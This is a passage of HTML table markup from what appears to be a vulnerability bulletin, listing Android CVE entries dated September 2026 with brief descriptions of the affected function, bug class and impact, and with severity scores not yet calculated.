&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28642&quot; target=&quot;_blank&quot;&gt;CVE-2026-28642&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In startNextMatchingActivity of ActivityTaskManagerService.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28644&quot; target=&quot;_blank&quot;&gt;CVE-2026-28644&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In setHiddenWhileSuspended of WindowState.java, there is a possible overlay bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28650&quot; target=&quot;_blank&quot;&gt;CVE-2026-28650&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of RangingServiceImpl.java, there is a possible MITM due to a missing permission check. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28652&quot; target=&quot;_blank&quot;&gt;CVE-2026-28652&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of rw_t3t.cc, there is a possible out of bounds write due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28653&quot; target=&quot;_blank&quot;&gt;CVE-2026-28653&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of RemoteViews.java, there is a possible background activity launch bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28655&quot; target=&quot;_blank&quot;&gt;CVE-2026-28655&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of DeviceAdminAdd.java, there is a possible way to an overlay due to a tapjacking/overlay attack. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28656&quot; target=&quot;_blank&quot;&gt;CVE-2026-28656&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In onActivityResult of AppWidgetConfigActivityProxy.java, there is a possible unauthorized URI permission grant due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28657&quot; target=&quot;_blank&quot;&gt;CVE-2026-28657&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In findMetaAuthUid of AccountsDb.java, there is a possible frp bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28658&quot; target=&quot;_blank&quot;&gt;CVE-2026-28658&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In getAllSessions of multiple files, there is a possible confused deputy due to a logic error in the code. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28660&quot; target=&quot;_blank&quot;&gt;CVE-2026-28660&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In p2p_process_prov_disc_bootstrap_req of p2p_pd.c, there is a possible out of bounds write due to a heap buffer overflow. This could lead to remote (proximal/adjacent) code execution with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28662&quot; target=&quot;_blank&quot;&gt;CVE-2026-28662&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In buildIntentSenderForUser of LauncherAppsService.java, there is a possible way to launch an activity from the background due to BAL Bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28663&quot; target=&quot;_blank&quot;&gt;CVE-2026-28663&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In WriteImageToDisk of runtime_image.cc, there is a possible file tampering due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28664&quot; target=&quot;_blank&quot;&gt;CVE-2026-28664&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of LocalImageResolver.java, there is a possible Remote Persistent Denial of Service due to a DNG image rendering check bypass. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28666&quot; target=&quot;_blank&quot;&gt;CVE-2026-28666&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In LimitRealloc of malloc_limit.cpp, there is a possible use after free due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28668&quot; target=&quot;_blank&quot;&gt;CVE-2026-28668&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In updateInternal of MediaProvider.java, there is a possible expose contents of files due to a race condition. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28671&quot; target=&quot;_blank&quot;&gt;CVE-2026-28671&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In a2dp_vendor_opus_decoder_decode_packet of a2dp_vendor_opus_decoder.cc, there is a possible out of bounds write due to a heap buffer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45515&quot; target=&quot;_blank&quot;&gt;CVE-2026-45515&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In screenArgsForPermissionCheckIfAny of multiple locations there is a possible risk of unauthorized access due to a confused deputy. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45519&quot; target=&quot;_blank&quot;&gt;CVE-2026-45519&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In onAttach of BiometricsSettingsBase.java, there is a possible authentication bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45520&quot; target=&quot;_blank&quot;&gt;CVE-2026-45520&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In openFile of AppFuseBridge.java, there is a possible information disclosure due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45521&quot; target=&quot;_blank&quot;&gt;CVE-2026-45521&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible improper data sanitization due to a logic error in the code. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45525&quot; target=&quot;_blank&quot;&gt;CVE-2026-45525&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In convertCleanApertureToRect of HeifCleanAperture.cpp, there is a possible way to cause a temporary denial of service due to an integer overflow. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45527&quot; target=&quot;_blank&quot;&gt;CVE-2026-45527&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In getManageSpaceActivityIntent of StorageManagerService.java, there is a possible LaunchAnyWhere chain due to an unsafe PendingIntent. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45528&quot; target=&quot;_blank&quot;&gt;CVE-2026-45528&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In read_boot_region of fsck.c, there is a possible out of bounds read due to a heap buffer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45531&quot; target=&quot;_blank&quot;&gt;CVE-2026-45531&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of rw_t3t.cc, there is a possible out of bounds write due to an integer overflow. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49879&quot; target=&quot;_blank&quot;&gt;CVE-2026-49879&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In serviceClassExists of InCallController.java, there is a possible arbitrary code execution due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49881&quot; target=&quot;_blank&quot;&gt;CVE-2026-49881&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In rw_mfc_handle_read_op of rw_mfc.cc, there is a possible memory safety issue due to a heap buffer overflow. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49882&quot; target=&quot;_blank&quot;&gt;CVE-2026-49882&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In rw_mfc_handle_read_op of rw_mfc.cc, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49884&quot; target=&quot;_blank&quot;&gt;CVE-2026-49884&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In maybeRemoveInvalidInstallerPackageName of InstallRepository.kt, there is a possible unauthorized app update due to a permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49887&quot; target=&quot;_blank&quot;&gt;CVE-2026-49887&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In get_eht_operation_channel_width of ieee802_11_common.c, there is a possible out of bounds read due to an incorrect bounds check. This could lead to remote (proximal/adjacent) information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49895&quot; target=&quot;_blank&quot;&gt;CVE-2026-49895&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions, there is a possible out of bounds write due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49918&quot; target=&quot;_blank&quot;&gt;CVE-2026-49918&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In tt_face_colr_blend_layer of ttcolr.c, there is a possible remote code execution due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49919&quot; target=&quot;_blank&quot;&gt;CVE-2026-49919&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible memory safety issue due to a heap buffer overflow. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49921&quot; target=&quot;_blank&quot;&gt;CVE-2026-49921&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible out of bounds write due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49927&quot; target=&quot;_blank&quot;&gt;CVE-2026-49927&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In parseParts of PduParser.java, there is a possible out of bounds read due to a heap buffer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49932&quot; target=&quot;_blank&quot;&gt;CVE-2026-49932&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In parsePartHeaders of multiple files, there is a possible persistent denial of service due to improper input validation. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55256&quot; target=&quot;_blank&quot;&gt;CVE-2026-55256&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In AppendCommentLine of AnnotationProcessor.cpp, there is a possible supply chain risk due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55273&quot; target=&quot;_blank&quot;&gt;CVE-2026-55273&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In checkUiccListenConfigNeeded of RoutingManager.cpp, there is a possible out of bounds write due to a missing bounds check. This could lead to remote (proximal/adjacent) code execution with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55277&quot; target=&quot;_blank&quot;&gt;CVE-2026-55277&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In openLogicalChannel of multiple files, there is a possible out-of-bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55285&quot; target=&quot;_blank&quot;&gt;CVE-2026-55285&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In setTo of ResourceTypes.cpp, there is a possible out-of-bounds heap read due to a missing bounds check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55290&quot; target=&quot;_blank&quot;&gt;CVE-2026-55290&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In ihevcd_get_tu_data_size of ihevcd_utils.c, there is a possible out of bounds write due to a heap buffer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55294&quot; target=&quot;_blank&quot;&gt;CVE-2026-55294&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible memory safety issue due to integer overflow. This could lead to local escalation of privilege with no additional execution privileges required.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58820&quot; target=&quot;_blank&quot;&gt;CVE-2026-58820&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of ftsmooth.c, there is a possible memory safety issue due to improper casting. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58822&quot; target=&quot;_blank&quot;&gt;CVE-2026-58822&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In stpropnci_process_std of stpropnci_std.cc, there is a possible memory safety issue due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58823&quot; target=&quot;_blank&quot;&gt;CVE-2026-58823&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In forEachLine of MountRegistry.cpp, there is a possible out of bounds read due to a buffer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58839&quot; target=&quot;_blank&quot;&gt;CVE-2026-58839&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In kvm_iommu_map_sg of iommu.c, there is a possible use after free due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58846&quot; target=&quot;_blank&quot;&gt;CVE-2026-58846&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of alloc.c, there is a possible unauthorized read/write access due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58848&quot; target=&quot;_blank&quot;&gt;CVE-2026-58848&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of SmsController.java, there is a possible escalation of privilege due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58874&quot; target=&quot;_blank&quot;&gt;CVE-2026-58874&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of iommu.c, there is a possible out of bounds read/write due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
